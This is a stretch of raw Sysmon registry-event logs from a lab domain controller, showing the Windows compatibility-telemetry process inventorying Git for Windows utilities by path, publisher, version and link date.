14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sexp-conv.exe|8bde837678ce07ac\LowerCaseLongPathc:\program files\git\usr\bin\sexp-conv.exe 13241300x800000000000000037438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\setmetamode.exe|2c2c0eb5bddaec82\BinProductVersion(Empty) 13241300x800000000000000037437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\setmetamode.exe|2c2c0eb5bddaec82\LinkDate03/26/2021 22:24:40 13241300x800000000000000037436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\setmetamode.exe|2c2c0eb5bddaec82\Publisher(Empty) 13241300x800000000000000037435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\setmetamode.exe|2c2c0eb5bddaec82\LowerCaseLongPathc:\program files\git\usr\bin\setmetamode.exe 13241300x800000000000000037434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\setfacl.exe|3de57f6a3e2d7242\BinProductVersion(Empty) 13241300x800000000000000037433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\setfacl.exe|3de57f6a3e2d7242\LinkDate03/26/2021 22:24:40 13241300x800000000000000037432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\setfacl.exe|3de57f6a3e2d7242\Publisher(Empty) 13241300x800000000000000037431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\setfacl.exe|3de57f6a3e2d7242\LowerCaseLongPathc:\program files\git\usr\bin\setfacl.exe 13241300x800000000000000037430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\seq.exe|1f2e494e389bf41a\BinProductVersion(Empty) 13241300x800000000000000037429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\seq.exe|1f2e494e389bf41a\LinkDate01/01/1970 00:00:00 13241300x800000000000000037428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\seq.exe|1f2e494e389bf41a\Publisher(Empty) 13241300x800000000000000037427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\seq.exe|1f2e494e389bf41a\LowerCaseLongPathc:\program files\git\usr\bin\seq.exe 13241300x800000000000000037426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sed.exe|cef6dc9db4fd3f4e\BinProductVersion(Empty) 13241300x800000000000000037425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sed.exe|cef6dc9db4fd3f4e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sed.exe|cef6dc9db4fd3f4e\Publisher(Empty) 13241300x800000000000000037423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sed.exe|cef6dc9db4fd3f4e\LowerCaseLongPathc:\program files\git\usr\bin\sed.exe 13241300x800000000000000037422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sdiff.exe|4d47b8c2d2524c04\BinProductVersion(Empty) 13241300x800000000000000037421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sdiff.exe|4d47b8c2d2524c04\LinkDate01/01/1970 00:00:00 13241300x800000000000000037420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sdiff.exe|4d47b8c2d2524c04\Publisher(Empty) 13241300x800000000000000037419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\sdiff.exe|4d47b8c2d2524c04\LowerCaseLongPathc:\program files\git\usr\bin\sdiff.exe 13241300x800000000000000037418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\scp.exe|7ba9f24b1c00395a\BinProductVersion(Empty) 13241300x800000000000000037417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\scp.exe|7ba9f24b1c00395a\LinkDate01/01/1970 00:00:00 13241300x800000000000000037416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\scp.exe|7ba9f24b1c00395a\Publisher(Empty) 13241300x800000000000000037415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\scp.exe|7ba9f24b1c00395a\LowerCaseLongPathc:\program files\git\usr\bin\scp.exe 13241300x800000000000000037414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\scdaemon.exe|53479827260a265e\BinProductVersion(Empty) 13241300x800000000000000037413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\scdaemon.exe|53479827260a265e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\scdaemon.exe|53479827260a265e\Publisher(Empty) 13241300x800000000000000037411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\scdaemon.exe|53479827260a265e\LowerCaseLongPathc:\program files\git\usr\lib\gnupg\scdaemon.exe 13241300x800000000000000037410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rvim.exe|58eacdb700b2ffd3\BinProductVersion(Empty) 13241300x800000000000000037409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rvim.exe|58eacdb700b2ffd3\LinkDate01/01/1970 00:00:00 13241300x800000000000000037408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rvim.exe|58eacdb700b2ffd3\Publisher(Empty) 13241300x800000000000000037407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rvim.exe|58eacdb700b2ffd3\LowerCaseLongPathc:\program files\git\usr\bin\rvim.exe 13241300x800000000000000037406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rview.exe|1b8d8c7426c49f6d\BinProductVersion(Empty) 13241300x800000000000000037405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rview.exe|1b8d8c7426c49f6d\LinkDate01/01/1970 00:00:00 13241300x800000000000000037404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rview.exe|1b8d8c7426c49f6d\Publisher(Empty) 13241300x800000000000000037403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rview.exe|1b8d8c7426c49f6d\LowerCaseLongPathc:\program files\git\usr\bin\rview.exe 13241300x800000000000000037402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\runcon.exe|9d9d38ca848c2576\BinProductVersion(Empty) 13241300x800000000000000037401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\runcon.exe|9d9d38ca848c2576\LinkDate01/01/1970 00:00:00 13241300x800000000000000037400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\runcon.exe|9d9d38ca848c2576\Publisher(Empty) 13241300x800000000000000037399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\runcon.exe|9d9d38ca848c2576\LowerCaseLongPathc:\program files\git\usr\bin\runcon.exe 13241300x800000000000000037398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rnano.exe|59695cb2874e092d\BinProductVersion(Empty) 13241300x800000000000000037397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rnano.exe|59695cb2874e092d\LinkDate01/01/1970 00:00:00 13241300x800000000000000037396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rnano.exe|59695cb2874e092d\Publisher(Empty) 13241300x800000000000000037395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rnano.exe|59695cb2874e092d\LowerCaseLongPathc:\program files\git\usr\bin\rnano.exe 13241300x800000000000000037394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rmt.exe|dda7820342efab83\BinProductVersion(Empty) 13241300x800000000000000037393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rmt.exe|dda7820342efab83\LinkDate01/01/1970 00:00:00 13241300x800000000000000037392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rmt.exe|dda7820342efab83\Publisher(Empty) 13241300x800000000000000037391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rmt.exe|dda7820342efab83\LowerCaseLongPathc:\program files\git\usr\lib\tar\rmt.exe 13241300x800000000000000037390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rmdir.exe|1053bde30940b254\BinProductVersion(Empty) 13241300x800000000000000037389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rmdir.exe|1053bde30940b254\LinkDate01/01/1970 00:00:00 13241300x800000000000000037388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rmdir.exe|1053bde30940b254\Publisher(Empty) 13241300x800000000000000037387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rmdir.exe|1053bde30940b254\LowerCaseLongPathc:\program files\git\usr\bin\rmdir.exe 13241300x800000000000000037386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rm.exe|1eee459e666dde29\BinProductVersion(Empty) 13241300x800000000000000037385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rm.exe|1eee459e666dde29\LinkDate01/01/1970 00:00:00 13241300x800000000000000037384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rm.exe|1eee459e666dde29\Publisher(Empty) 13241300x800000000000000037383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rm.exe|1eee459e666dde29\LowerCaseLongPathc:\program files\git\usr\bin\rm.exe 13241300x800000000000000037382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\reset.exe|bb8c4a8b474d3d85\BinProductVersion(Empty) 13241300x800000000000000037381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\reset.exe|bb8c4a8b474d3d85\LinkDate01/01/1970 00:00:00 13241300x800000000000000037380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\reset.exe|bb8c4a8b474d3d85\Publisher(Empty) 13241300x800000000000000037379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\reset.exe|bb8c4a8b474d3d85\LowerCaseLongPathc:\program files\git\usr\bin\reset.exe 13241300x800000000000000037378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\regtool.exe|2c34de713dfed575\BinProductVersion(Empty) 13241300x800000000000000037377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\regtool.exe|2c34de713dfed575\LinkDate03/26/2021 22:24:40 13241300x800000000000000037376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\regtool.exe|2c34de713dfed575\Publisher(Empty) 13241300x800000000000000037375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\regtool.exe|2c34de713dfed575\LowerCaseLongPathc:\program files\git\usr\bin\regtool.exe 13241300x800000000000000037374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\recode-sr-latin.|fef01b1a870bf6ba\BinProductVersion(Empty) 13241300x800000000000000037373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\recode-sr-latin.|fef01b1a870bf6ba\LinkDate06/19/2025 15:30:53 13241300x800000000000000037372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\recode-sr-latin.|fef01b1a870bf6ba\Publisher(Empty) 13241300x800000000000000037371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\recode-sr-latin.|fef01b1a870bf6ba\LowerCaseLongPathc:\program files\git\usr\bin\recode-sr-latin.exe 13241300x800000000000000037370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rebase.exe|227817bf057aff56\BinProductVersion(Empty) 13241300x800000000000000037369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rebase.exe|227817bf057aff56\LinkDate01/01/1970 00:00:00 13241300x800000000000000037368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rebase.exe|227817bf057aff56\Publisher(Empty) 13241300x800000000000000037367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\rebase.exe|227817bf057aff56\LowerCaseLongPathc:\program files\git\usr\bin\rebase.exe 13241300x800000000000000037366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\realpath.exe|c0afeb0f661fb0d7\BinProductVersion(Empty) 